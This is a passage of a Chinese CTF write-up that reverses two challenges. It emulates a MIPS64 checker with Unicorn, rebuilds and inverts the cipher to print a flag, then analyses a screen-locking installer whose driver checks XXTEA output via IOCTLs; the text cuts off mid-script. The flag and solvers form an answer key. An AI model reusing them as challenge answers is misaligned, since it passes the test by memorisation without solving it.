FUNC_CHECK = 0x120008658 - BASE
FUNC_MEMSET = 0x12001D320 - BASE
FUNC_CALLOC = 0x12001B1E8 - BASE
FUNC_LOCK = 0x12000C9F0 - BASE
FUNC_DEBUG_DUMP = 0x120004860 - BASE
FUNC_ROL64 = 0x120007230 - BASE

SENTINEL_RET = 0x70000000
STACK_BASE = 0x71000000
STACK_SIZE = 0x200000
SCRATCH_BASE = 0x72000000
SCRATCH_SIZE = 0x20000

SEB_V0_V0 = 0x120007EE8 - BASE
SEB_V1_V0 = 0x120007EF0 - BASE
SEB_V0_V0_2 = 0x120007F0C - BASE
SEB_A0_V0 = 0x120007F14 - BASE
DEXT_V0_V0 = {
0x120009154 - BASE,
0x1200091E4 - BASE,
0x12000922C - BASE,
0x120009274 - BASE,
0x1200092B4 - BASE,
}
DEXT_A0_A0 = {0x120009158 - BASE}
DEXT_V1_V1 = {0x1200082A0 - BASE}

TARGET = bytes.fromhex(
"d4f3c4f159300380e6e5da798a2f43c83cfd028cf61c10aa598b9ab294323b56"
"39e3d8a42b84d57f92a6f84d6da292e50a2c20bba90d14f113c8f374f347d53b"
)

def align_down(x: int, a: int = 0x1000) -> int:
return x & ~(a - 1)

def align_up(x: int, a: int = 0x1000) -> int:
return (x + a - 1) & ~(a - 1)

def sx8(x: int) -> int:
x &= 0xFF
return x | (~0xFF & MASK64) if x & 0x80 else x

def zext32(x: int) -> int:
return x & 0xFFFFFFFF

class EmuEnv:
# Python only provides the loader and a few libc-style stubs.
# Both ctx initialization and ciphertext generation are executed by the ELF.
def __init__(self, elf_path: Path):
self.mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS64 | UC_MODE_LITTLE_ENDIAN)
self._map_elf_load_segments(elf_path.read_bytes())
self.mu.mem_map(STACK_BASE, STACK_SIZE)
self.mu.mem_map(SCRATCH_BASE, SCRATCH_SIZE)
self.mu.mem_map(align_down(SENTINEL_RET), 0x1000)
self.alloc_ptr = SCRATCH_BASE
self.mu.hook_add(UC_HOOK_CODE, self._code_hook)
self.mu.hook_add(UC_HOOK_CODE, self._compat_hook)

def _map_elf_load_segments(self, data: bytes) -> None:
phoff = struct.unpack_from("<Q", data, 32)[0]
phentsz = struct.unpack_from("<H", data, 54)[0]
phnum = struct.unpack_from("<H", data, 56)[0]
for i in range(phnum):
off = phoff + i * phentsz
p_type, p_flags, p_off, p_vaddr, _p_paddr, p_filesz, p_memsz, _p_align = struct.unpack_from(
"<IIQQQQQQ", data, off
)
if p_type != 1:
continue

rebased_vaddr = p_vaddr - BASE
map_base = align_down(rebased_vaddr)
map_size = align_up((rebased_vaddr - map_base) + p_memsz)
perms = 0
if p_flags & 1:
perms |= 4
if p_flags & 2:
perms |= 2
if p_flags & 4:
perms |= 1

self.mu.mem_map(map_base, map_size, perms)
seg_bytes = bytearray(data[p_off : p_off + p_filesz])

# Writable segments contain absolute pointers emitted for the original image base.
if p_flags & 2:
for qoff in range(0, len(seg_bytes) - 7):
if ((rebased_vaddr + qoff) & 7) != 0:
continue
value = struct.unpack_from("<Q", seg_bytes, qoff)[0]
if BASE <= value < BASE + 0x2000000:
struct.pack_into("<Q", seg_bytes, qoff, value - BASE)

self.mu.mem_write(rebased_vaddr, bytes(seg_bytes))

def _ret(self, uc: Uc, value: int) -> None:
uc.reg_write(UC_MIPS_REG_V0, value & MASK64)
uc.reg_write(UC_MIPS_REG_PC, uc.reg_read(UC_MIPS_REG_RA))

def _compat_hook(self, uc: Uc, address: int, _size: int, _user_data) -> None:
if address == SEB_V0_V0:
uc.reg_write(UC_MIPS_REG_V0, sx8(uc.reg_read(UC_MIPS_REG_V0)))
uc.reg_write(UC_MIPS_REG_PC, address + 4)
return
if address == SEB_V1_V0:
uc.reg_write(UC_MIPS_REG_V1, sx8(uc.reg_read(UC_MIPS_REG_V0)))
uc.reg_write(UC_MIPS_REG_PC, address + 4)
return
if address == SEB_V0_V0_2:
uc.reg_write(UC_MIPS_REG_V0, sx8(uc.reg_read(UC_MIPS_REG_V0)))
uc.reg_write(UC_MIPS_REG_PC, address + 4)
return
if address == SEB_A0_V0:
uc.reg_write(UC_MIPS_REG_A0, sx8(uc.reg_read(UC_MIPS_REG_V0)))
uc.reg_write(UC_MIPS_REG_PC, address + 4)
return
if address in DEXT_V0_V0:
uc.reg_write(UC_MIPS_REG_V0, zext32(uc.reg_read(UC_MIPS_REG_V0)))
uc.reg_write(UC_MIPS_REG_PC, address + 4)
return
if address in DEXT_A0_A0:
uc.reg_write(UC_MIPS_REG_A0, zext32(uc.reg_read(UC_MIPS_REG_A0)))
uc.reg_write(UC_MIPS_REG_PC, address + 4)
return
if address in DEXT_V1_V1:
uc.reg_write(UC_MIPS_REG_V1, zext32(uc.reg_read(UC_MIPS_REG_V1)))
uc.reg_write(UC_MIPS_REG_PC, address + 4)
return

def _code_hook(self, uc: Uc, address: int, _size: int, _user_data) -> None:
if address == FUNC_MEMSET:
dst = uc.reg_read(UC_MIPS_REG_A0)
value = uc.reg_read(UC_MIPS_REG_A1) & 0xFF
size = uc.reg_read(UC_MIPS_REG_A2)
uc.mem_write(dst, bytes([value]) * size)
self._ret(uc, dst)
return

if address == FUNC_CALLOC:
nmemb = uc.reg_read(UC_MIPS_REG_A0)
item_size = uc.reg_read(UC_MIPS_REG_A1)
total = nmemb * item_size
ptr = self.alloc(max(1, total), align=16)
uc.mem_write(ptr, b"\x00" * max(1, total))
self._ret(uc, ptr)
return

if address == FUNC_LOCK:
self._ret(uc, 0)
return

if address == FUNC_DEBUG_DUMP:
self._ret(uc, 0)
return

if address == FUNC_ROL64:
x = uc.reg_read(UC_MIPS_REG_A0) & MASK64
n = uc.reg_read(UC_MIPS_REG_A1) & 0x3F
value = ((x << n) | (x >> (64 - n))) & MASK64
self._ret(uc, value)
return

def alloc(self, size: int, align: int = 8) -> int:
ptr = (self.alloc_ptr + align - 1) & ~(align - 1)
end = ptr + size
if end > SCRATCH_BASE + SCRATCH_SIZE:
raise MemoryError("scratch exhausted")
self.alloc_ptr = end
return ptr

def reset_cpu(self) -> int:
initial_sp = STACK_BASE + STACK_SIZE - 0x100
self.mu.reg_write(UC_MIPS_REG_SP, initial_sp)
self.mu.reg_write(UC_MIPS_REG_FP, 0)
self.mu.reg_write(UC_MIPS_REG_RA, SENTINEL_RET)
self.mu.reg_write(UC_MIPS_REG_T9, 0)
return initial_sp

def call(self, func: int, *, a0: int = 0, a1: int = 0, a2: int = 0, a3: int = 0, count: int = 8_000_000) -> tuple[int, int]:
initial_sp = self.reset_cpu()
self.mu.reg_write(UC_MIPS_REG_A0, a0)
self.mu.reg_write(UC_MIPS_REG_A1, a1)
self.mu.reg_write(UC_MIPS_REG_A2, a2)
self.mu.reg_write(UC_MIPS_REG_A3, a3)
self.mu.reg_write(UC_MIPS_REG_T9, func)
self.mu.reg_write(UC_MIPS_REG_PC, func)
self.mu.emu_start(func, SENTINEL_RET, timeout=0, count=count)
return initial_sp, self.mu.reg_read(UC_MIPS_REG_V0) & MASK64

def run_init_ctx(self) -> int:
ctx_ptr = self.alloc(0x38, align=16)
self.mu.mem_write(ctx_ptr, b"\x00" * 0x38)
_initial_sp, ret = self.call(FUNC_INIT_CTX, a0=ctx_ptr, count=2_000_000)
if ret != 0:
raise RuntimeError(f"0x120007ff8 failed: v0=0x{ret:016x}")
return ctx_ptr

def read_ctx(self, ctx_ptr: int) -> tuple[list[int], bytes, bytes, bytes]:
raw = bytes(self.mu.mem_read(ctx_ptr, 0x38))
s0, s1, s2, s3, arr20_ptr, arr28_ptr, arr30_ptr = struct.unpack("<QQQQQQQ", raw)
arr20 = bytes(self.mu.mem_read(arr20_ptr, 0x40))
arr28 = bytes(self.mu.mem_read(arr28_ptr, 0x40))
arr30 = bytes(self.mu.mem_read(arr30_ptr, 0x30))
return [s0, s1, s2, s3], arr20, arr28, arr30

def run_check(self, ctx_ptr: int, payload: bytes) -> tuple[int, bytes]:
payload_ptr = self.alloc(max(1, len(payload)), align=8)
if payload:
self.mu.mem_write(payload_ptr, payload)
else:
self.mu.mem_write(payload_ptr, b"\x00")

initial_sp, ret = self.call(
FUNC_CHECK,
a0=ctx_ptr,
a1=payload_ptr,
a2=len(payload),
count=8_000_000,
)
frame_base = initial_sp - 0x2D0
ciphertext = bytes(self.mu.mem_read(frame_base + 0xD0, 64))
return ret, ciphertext

def main() -> None:
plaintext = input("plaintext> ").encode("utf-8")
if len(plaintext) > 64:
raise SystemExit("plaintext must be at most 64 bytes")

elf_path = Path(__file__).resolve().with_name("sec0_rwfixed.elf")
env = EmuEnv(elf_path)
ctx_ptr = env.run_init_ctx()
_state, _arr20, _arr28, _arr30 = env.read_ctx(ctx_ptr)
_ret, ciphertext = env.run_check(ctx_ptr, plaintext)

print(f"ciphertext={ciphertext.hex()}")
if ciphertext == TARGET:
print("correct")
else:
print("error")

if __name__ == "__main__":
main()

然后再同构出和unicorn模拟出来一样的纯算法checker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
#!/usr/bin/env python3
MASK64 = (1 << 64) - 1
AES_SBOX = bytes.fromhex(
"637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0"
"b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b275"
"09832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cf"
"d0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2"
"cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb"
"e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08"
"ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9e"
"e1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16"
)
TABLE_9104 = bytes.fromhex(
"48d690e9fecce13db716b614c228fb2c052b679a762abe04c3aa441326498606"
"999c4250f491ef987a33540b43edcfac62e4b31ca9c908e89580df94fa758f3f"
"a64707a7fcf37317ba83593c19e6854fa8686b81b27164da8bf8eb0f4b70569d"
"351e240e5e6358d1a225227c3b01217887d40046579fd327524c3602e7a0c4c8"
"9eeabf8ad240c738b5a3f7f2cef96115a1e0ae5da49b341a55ad933230f58cb1"
"e31df6e22e8266ca60c02923ab0d534e6fd5db3745defd8e2f03ff6a726d6c5b"
"518d1baf92bbddbc7f11d95c411f105ad80ac13188a5cd7bbd2d74d012b8e5b4"
"b08969974a0c96777e65b9f109c56ec68418f07dec3adc4d2079ee5f3ed7cb39"
)
KEY16 = bytes.fromhex("0123456789abcdeffedcba9876543210")
TARGET = bytes.fromhex(
"d4f3c4f159300380e6e5da798a2f43c83cfd028cf61c10aa598b9ab294323b56"
"39e3d8a42b84d57f92a6f84d6da292e50a2c20bba90d14f113c8f374f347d53b"
)
#d4f3c4f159300380e6e5da798a2f43c83cfd028cf61c10aa598b9ab294323b5639e3d8a42b84d57f92a6f84d6da292e50a2c20bba90d14f113c8f374f347d53b
FK = [0xA3B1BAF1, 0x56AA3367, 0x677D91A0, 0xB27022EB]
CK = [
0x00070EB0, 0x1C232A94, 0x383F46E8, 0x545B62CC,
0x70777E20, 0x8C939A04, 0xA8AFB618, 0xC4CBD27C,
0xE0E7EE50, 0xFC030AB4, 0x181F2688, 0x343B42EC,
0x50575EC0, 0x6C737A24, 0x888F9638, 0xA4ABB21C,
0xC0C7CE70, 0xDCE3EA54, 0xF8FF06A8, 0x141B228C,
0x30373EE0, 0x4C535AC4, 0x686F76D8, 0x848B923C,
0xA0A7AE10, 0xBCC3CA74, 0xD8DFE648, 0xF4FB02AC,
0x10171E80, 0x2C333AE4, 0x484F56F8, 0x646B72DC,
]

def u64(x: int) -> int:
return x & MASK64

def rol64(x: int, n: int) -> int:
n &= 63
x &= MASK64
return ((x << n) | (x >> (64 - n))) & MASK64

def pack_be_u32(b: bytes) -> int:
return (b[0] << 24) | (b[1] << 16) | (b[2] << 8) | b[3]

def unpack_be_u32(v: int) -> bytes:
return bytes([(v >> 24) & 0xFF, (v >> 16) & 0xFF, (v >> 8) & 0xFF, v & 0xFF])

def f7270(x: int) -> int:
x = u64(x + 0x9E3779B97F4A7C15)
z = x
z = u64((z ^ (z >> 30)) * 0xBF58476D1CE4E5B9)
z = u64((z ^ (z >> 27)) * 0x94D049BB133111EB)
return u64(z ^ (z >> 31))

def seed_words() -> list[int]:
return [
0xFFF55731369D7563,
0x16E58EB22FBD5C72,
0x3632ED844C43F5B0,
0x390980A442221584,
]

def init_state() -> list[int]:
tmp = 0x1234567890ABCDEF
out = [0] * 4
for i, seed in enumerate(seed_words()):
# 0x120007344 keeps the pre-f7270 temporary in memory.
tmp = u64(u64(seed + 0x9E3779B97F4A7C15) ^ tmp)
out[i] = f7270(tmp)
tmp = u64(tmp + 0x9E3779B97F4A7C15)
if out == [0, 0, 0, 0]:
out[0] = 0xDEADBEEFCAFEBABE
return [u64(x) for x in out]

def f74a0(state: list[int]) -> int:
result = u64(rol64(u64(state[1] * 5), 7) * 9)
t = u64(state[1] << 17)
state[2] = u64(state[2] ^ state[0])
state[3] = u64(state[3] ^ state[1])
state[1] = u64(state[1] ^ state[2])
state[0] = u64(state[0] ^ state[3])
state[2] = u64(state[2] ^ t)
state[3] = rol64(state[3], 45)
return result

def shuffle(arr: bytearray, state: list[int]) -> None:
idx = len(arr) - 1
while idx != 0:
r = f74a0(state)
j = r % (idx + 1)
arr[idx], arr[j] = arr[j], arr[idx]
idx -= 1

def init_ctx() -> tuple[list[int], bytearray, bytearray, bytearray]:
state = init_state()
arr20 = bytearray(64)
arr28 = bytearray(range(64))
arr30 = bytearray(48)

for i in range(64):
r = f74a0(state)
x = ((r & 0xFF) ^ ((r >> 11) & 0xFF)) & 0xFF
arr20[i] = x ^ ((i - 0x5B) & 0xFF)

shuffle(arr28, state)

for i in range(48):
r1 = f74a0(state)
b = ((r1 & 0xFF) ^ ((r1 >> 23) & 0xFF)) & 0xFF
b ^= (((i * 7) & 0xFF) + 0x3D) & 0xFF
b = (b + arr20[i & 0x3F]) & 0xFF
b = AES_SBOX[b]
r2 = f74a0(state)
b ^= r2 & 0xFF
b = rol64(b, (i % 7) + 1) & 0xFF
arr30[i] = b

return state, arr20, arr28, arr30

def f7e28(buf: bytearray, local_state: list[int]) -> None:
for rnd in range(6):
ofs = f74a0(local_state) & 0x3F
for j in range(len(buf)):
b = buf[j]
b ^= (ofs + j + rnd) & 0xFF
b = ((b << 1) & 0xFF) | (b >> 7)
b ^= AES_SBOX[(b + 13 * rnd) & 0xFF]
buf[j] = b

def f9104(x: int) -> int:
return TABLE_9104[(x + 0x37) & 0xFF]

def f9184(x: int) -> int:
b0 = f9104((x >> 24) & 0xFF)
b1 = f9104((x >> 16) & 0xFF)
b2 = f9104((x >> 8) & 0xFF)
b3 = f9104(x & 0xFF)
return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3

def f9098(x: int, n: int) -> int:
left = u64(u64(x) << n)
right = u64(x) >> (32 - n)
return u64((left | right) ^ 0xDEADBEEF)

def f92e8(x: int) -> int:
s = u64(f9098(x, 15) ^ u64(x))
s ^= f9098(x, 23)
s ^= 0xCAFEBABE
return u64(s)

def f9714(x: int) -> int:
s = u64(f9098(x, 3) ^ u64(x))
s ^= f9098(x, 11)
s ^= f9098(x, 19)
s ^= f9098(x, 27)
s ^= 0x12345678
return u64(s)

def f93a0(x: int) -> int:
return f92e8(f9184(x))

def f9810(x: int) -> int:
return f9714(f9184(x))

def f9898(a0: int, a1: int, a2: int, a3: int, rk: int) -> int:
mix = u64(a1 ^ a2 ^ a3 ^ rk)
return u64((a0 ^ f9810(mix)) + 0x1337)

def key_schedule(key_words: list[int]) -> list[int]:
s = [0] * 36
tmp = [0] * 4
for i in range(4):
tmp[i] = u64((key_words[i] ^ FK[i]) + i)

s[4] = u64(tmp[0] ^ f93a0(u64(tmp[1] ^ tmp[2] ^ tmp[3] ^ CK[0])))
s[5] = u64(tmp[1] ^ f93a0(u64(tmp[2] ^ tmp[3] ^ s[4] ^ CK[1])))
s[6] = u64(tmp[2] ^ f93a0(u64(tmp[3] ^ s[4] ^ s[5] ^ CK[2])))
s[7] = u64(tmp[3] ^ f93a0(u64(s[4] ^ s[5] ^ s[6] ^ CK[3])))

for i in range(4, 32):
v = u64(s[i + 1] ^ s[i + 2] ^ s[i + 3] ^ CK[i])
s[i + 4] = u64((s[i] ^ f93a0(v)) + i)
return s

def enc9938(in_words: list[int], key_words: list[int]) -> list[int]:
s = key_schedule(key_words)
for i in range(4):
s[i] = u64(in_words[i] ^ 0xAAAAAAAA)

for rnd in range(0x22):
rk = s[(rnd & 0x1F) + 4]
t = f9898(s[0], s[1], s[2], s[3], rk)
s[0], s[1], s[2], s[3] = s[1], s[2], s[3], t
if rnd in (8, 16, 24):
s[0] = u64(s[0] ^ 0x55555555)
s[1] = u64(s[1] ^ 0xAAAAAAAA)

tmp = s[0]
s[0] = u64(s[3] ^ 0x12345678)
s[3] = u64(tmp ^ 0x87654321)
tmp = s[1]
s[1] = u64(s[2] ^ 0xABCDEF01)
s[2] = u64(tmp ^ 0x10FEDCBA)
return s[:4]

def encrypt(plaintext: bytes) -> bytes:
if len(plaintext) > 64:
raise ValueError("plaintext must be at most 64 bytes")

state, arr20, arr28, arr30 = init_ctx()

buf30 = bytearray(64)
for i in range(64):
v = plaintext[i] if i < len(plaintext) else (17 * i) & 0xFF
v ^= (arr20[(7 * i) & 0x3F] + i) & 0xFF
buf30[i] = v

f7e28(buf30, state.copy())

buf90 = bytearray(64)
for i in range(64):
idx = arr28[i] & 0x3F
x = buf30[idx] ^ arr30[i % 48]
x = AES_SBOX[x]
x ^= arr20[i]
buf90[i] = x & 0xFF

key_words = [pack_be_u32(KEY16[i : i + 4]) for i in (0, 4, 8, 12)]
out = bytearray(64)
for blk in range(4):
off = blk * 16
in_words = [pack_be_u32(buf90[off + i : off + i + 4]) for i in (0, 4, 8, 12)]
out_words = enc9938(in_words, key_words)
out[off : off + 16] = b"".join(unpack_be_u32(w) for w in out_words)
return bytes(out)

#4527882435d6621d5acc45bf6ced15d31229c57da7be660934e61d6d2f5d41de288ea921a0c38863506c9fe229b0b14440de1425ae05cdeee5e33f73625f8ad6

def main() -> None:
plaintext = input("plaintext> ").encode("utf-8")
ciphertext = encrypt(plaintext)
print(f"ciphertext={ciphertext.hex()}")
if ciphertext == TARGET:
print("correct")
else:
print("error")

if __name__ == "__main__":
main()

最后再爆出来flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
#!/usr/bin/env python3
import argparse
import itertools
import math
from typing import Iterable

import checker

MASK32 = 0xFFFFFFFF
PRINTABLE_BYTES = set(range(0x20, 0x7F))

def _build_inverse_sbox() -> bytes:
inv = [0] * 256
for i, b in enumerate(checker.AES_SBOX):
inv[b] = i
return bytes(inv)

INV_AES_SBOX = _build_inverse_sbox()
STATE, ARR20, ARR28, ARR30 = checker.init_ctx()
KEY_WORDS = [checker.pack_be_u32(checker.KEY16[i : i + 4]) for i in (0, 4, 8, 12)]
ROUND_KEYS = [x & MASK32 for x in checker.key_schedule(KEY_WORDS)]

def low32(x: int) -> int:
return x & MASK32

def unpack_be_u32(v: int) -> bytes:
return bytes([(v >> 24) & 0xFF, (v >> 16) & 0xFF, (v >> 8) & 0xFF, v & 0xFF])

def decrypt_block32(block: bytes) -> bytes:
out_words = [checker.pack_be_u32(block[i : i + 4]) for i in (0, 4, 8, 12)]
s0 = low32(out_words[3] ^ 0x87654321)
s1 = low32(out_words[2] ^ 0x10FEDCBA)
s2 = low32(out_words[1] ^ 0xABCDEF01)
s3 = low32(out_words[0] ^ 0x12345678)

for rnd in range(0x21, -1, -1):
if rnd in (24, 16, 8):
s0 ^= 0x55555555
s1 ^= 0xAAAAAAAA
rk = ROUND_KEYS[(rnd & 0x1F) + 4]
old1, old2, old3 = s0, s1, s2
mix = low32(old1 ^ old2 ^ old3 ^ rk)
old0 = low32((s3 - 0x1337) ^ checker.f9810(mix))
s0, s1, s2, s3 = old0, old1, old2, old3

words = [
low32(s0 ^ 0xAAAAAAAA),
low32(s1 ^ 0xAAAAAAAA),
low32(s2 ^ 0xAAAAAAAA),
low32(s3 ^ 0xAAAAAAAA),
]
return b"".join(unpack_be_u32(v) for v in words)

def invert_post_mix(ciphertext: bytes) -> bytearray:
buf90 = bytearray()
for blk in range(4):
off = blk * 16
buf90.extend(decrypt_block32(ciphertext[off : off + 16]))

post = bytearray(64)
for i in range(64):
x = buf90[i] ^ ARR20[i]
x = INV_AES_SBOX[x]
idx = ARR28[i] & 0x3F
post[idx] = x ^ ARR30[i % 48]
return post

def build_round_inverse_tables() -> tuple[tuple[tuple[tuple[int, ...], ...], ...], tuple[int, ...]]:
local_state = STATE.copy()
round_offsets = tuple(checker.f74a0(local_state) & 0x3F for _ in range(6))
tables = []
for rnd, ofs in enumerate(round_offsets):
per_pos = []
for pos in range(64):
back = [[] for _ in range(256)]
tweak = (ofs + pos + rnd) & 0xFF
sbox_bias = (13 * rnd) & 0xFF
for plain in range(256):
mixed = plain ^ tweak
mixed = ((mixed << 1) & 0xFF) | (mixed >> 7)
out = mixed ^ checker.AES_SBOX[(mixed + sbox_bias) & 0xFF]
back[out].append(plain)
per_pos.append(tuple(tuple(cands) for cands in back))
tables.append(tuple(per_pos))
return tuple(tables), round_offsets

ROUND_INV_TABLES, ROUND_OFFSETS = build_round_inverse_tables()

def recover_plaintext_sets(ciphertext: bytes) -> list[set[int]]:
if len(ciphertext) != 64:
raise ValueError("ciphertext must be exactly 64 bytes")

post = invert_post_mix(ciphertext)
candidate_sets: list[set[int]] = []
for pos in range(64):
cur = {post[pos]}
for rnd in range(5, -1, -1):
nxt = set()
back = ROUND_INV_TABLES[rnd][pos]
for value in cur:
nxt.update(back[value])
cur = nxt

mask = (ARR20[(7 * pos) & 0x3F] + pos) & 0xFF
candidate_sets.append({value ^ mask for value in cur})
return candidate_sets

def feasible_lengths(candidate_sets: list[set[int]]) -> list[int]:
lengths = []
for length in range(65):
if all(candidate_sets[pos] for pos in range(length)) and all(
((17 * pos) & 0xFF) in candidate_sets[pos] for pos in range(length, 64)
):
lengths.append(length)
return lengths

def empty_positions(candidate_sets: list[set[int]]) -> list[int]:
return [pos for pos, values in enumerate(candidate_sets) if not values]

def constrain_sets(
candidate_sets: list[set[int]],
length: int,
prefix: bytes,
alphabet: set[int] | None,
) -> list[list[int]]:
if not 0 <= length <= 64:
raise ValueError("length must be in [0, 64]")
if len(prefix) > length:
raise ValueError("prefix is longer than the selected length")

constrained: list[list[int]] = []
for pos in range(64):
values = set(candidate_sets[pos])
if pos >= length:
values &= {((17 * pos) & 0xFF)}
elif pos < len(prefix):
values &= {prefix[pos]}
elif alphabet is not None:
values &= alphabet

if not values:
raise ValueError(f"position {pos} has no candidates after filtering")
constrained.append(sorted(values))
return constrained

def count_solutions(constrained: list[list[int]], length: int) -> int:
return math.prod(len(constrained[pos]) for pos in range(length))

def enumerate_solutions(
constrained: list[list[int]],
length: int,
limit: int,
) -> Iterable[bytes]:
if length == 0:
yield b""
return

for item in itertools.islice(itertools.product(*(constrained[pos] for pos in range(length))), limit):
yield bytes(item)

def format_byte(value: int) -> str:
if 0x20 <= value < 0x7F:
return f"{value:02x}({chr(value)})"
return f"{value:02x}"

def format_ascii(data: bytes) -> str:
return "".join(chr(b) if 0x20 <= b < 0x7F else "." for b in data)

def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Invert checker.py into per-position plaintext candidate sets."
)
parser.add_argument(
"ciphertext",
nargs="?",
default=checker.TARGET.hex(),
help="64-byte ciphertext in hex. Defaults to checker.TARGET.",
)
parser.add_argument(
"--length",
type=int,
help="Assumed plaintext length. If omitted, only feasible lengths are shown.",
)
parser.add_argument(
"--prefix",
default="",
help="Known plaintext prefix to pin at the start.",
)
parser.add_argument(
"--printable",
action="store_true",
help="Restrict unfixed plaintext bytes to ASCII 0x20..0x7e.",
)
parser.add_argument(
"--alphabet",
help="Restrict unfixed plaintext bytes to this literal byte set.",
)
parser.add_argument(
"--limit",
type=int,
default=20,
help="Maximum number of example plaintexts to print.",
)
parser.add_argument(
"--show-sets",
action="store_true",
help="Print candidate bytes for each position within the selected length.",
)
return parser.parse_args()

def main() -> None:
args = parse_args()
try:
ciphertext = bytes.fromhex(args.ciphertext)
except ValueError as exc:
raise SystemExit(f"invalid ciphertext hex: {exc}") from exc

try:
candidate_sets = recover_plaintext_sets(ciphertext)
except ValueError as exc:
raise SystemExit(str(exc)) from exc

lengths = feasible_lengths(candidate_sets)

print(f"feasible_lengths={lengths}")
empties = empty_positions(candidate_sets)
if empties:
preview = ", ".join(str(pos) for pos in empties[:16])
suffix = "" if len(empties) <= 16 else ", ..."
print(f"empty_positions=[{preview}{suffix}]")

if args.length is None:
return
if args.length not in lengths:
raise SystemExit(f"length {args.length} is not feasible for this ciphertext")

alphabet = None
if args.printable:
alphabet = set(PRINTABLE_BYTES)
if args.alphabet is not None:
extra = set(args.alphabet.encode("latin-1"))
alphabet = extra if alphabet is None else alphabet & extra

prefix = args.prefix.encode("latin-1")
try:
constrained = constrain_sets(candidate_sets, args.length, prefix, alphabet)
except ValueError as exc:
raise SystemExit(str(exc)) from exc
total = count_solutions(constrained, args.length)
print(f"solution_count={total}")

if args.show_sets:
for pos in range(args.length):
rendered = " ".join(format_byte(v) for v in constrained[pos])
print(f"[{pos:02d}] {rendered}")

for idx, plain in enumerate(enumerate_solutions(constrained, args.length, args.limit), start=1):
print(f"{idx:04d}: {plain!r} ascii={format_ascii(plain)}")

if __name__ == "__main__":
main()

#python decrypt_checker.py --length 64 --prefix "flag{" --alphabet "abcdefghijklmnopqrstuvwxyz0123456789{}" --show-sets

flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}

SU_Lock

运行安装器后安装后,直接就被锁屏了

省麻烦直接对虚拟机进行一波火眼取证,拿到Locksetup.exe

然后发现它会解密释放两个pe

img

blob1.dec.bin

img

这是用户态程序。

它主要负责:

  • 读取用户输入
  • 检查长度
  • 做一轮自定义块变换
  • DeviceIoControl 把结果发给驱动

blob2.dec.bin

img

这是驱动。

它主要负责:

  • 返回变换参数
  • 校验最终的 10 个 DWORD 是否匹配目标值

也就是说,真正的 flag 校验链是:

用户输入 -> blob1 本地变换 -> 发给驱动 -> 驱动比较

先看驱动返回了什么

驱动侧有两个关键 IOCTL:

  • 0x222004
  • 0x222008

img

IOCTL 0x222004

这个不是直接校验,而是返回 5 个 DWORD 参数:

0x9e376a8e

0xdeadbeef

0xcafebabe

0x1337c0de

0x0badf00d

这 5 个值会被 GUI 拿去作为块变换参数。

也就是:

  • delta = 0x9E376A8E
  • key = [0xDEADBEEF, 0xCAFEBABE, 0x1337C0DE, 0x0BADF00D]

0x06 驱动里真正比较的目标值

另一个关键 IOCTL 是 0x222008

这个逻辑很直白,驱动里硬编码比较了 10 个 DWORD:

0x8da1e7b1

0xcaa432e5

0x6eec27bc

0xefc12b53

0xfa7505c2

0x54ac88a6

0x2f96ad99

0x77741a15

0x3e8673c1

0xc2b9f282

也就是说,只要找到 GUI 是怎么把输入变成这 10 个值的,就能把 flag 逆出来。

img

最后就是一个xxtea算法

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
import struct

DELTA = 0x9e376a8e

KEY = [
0xdeadbeef,
0xcafebabe,
0x1337c0de,
0x0badf00d,
]

TARGET = [
0x8da1e7b1,
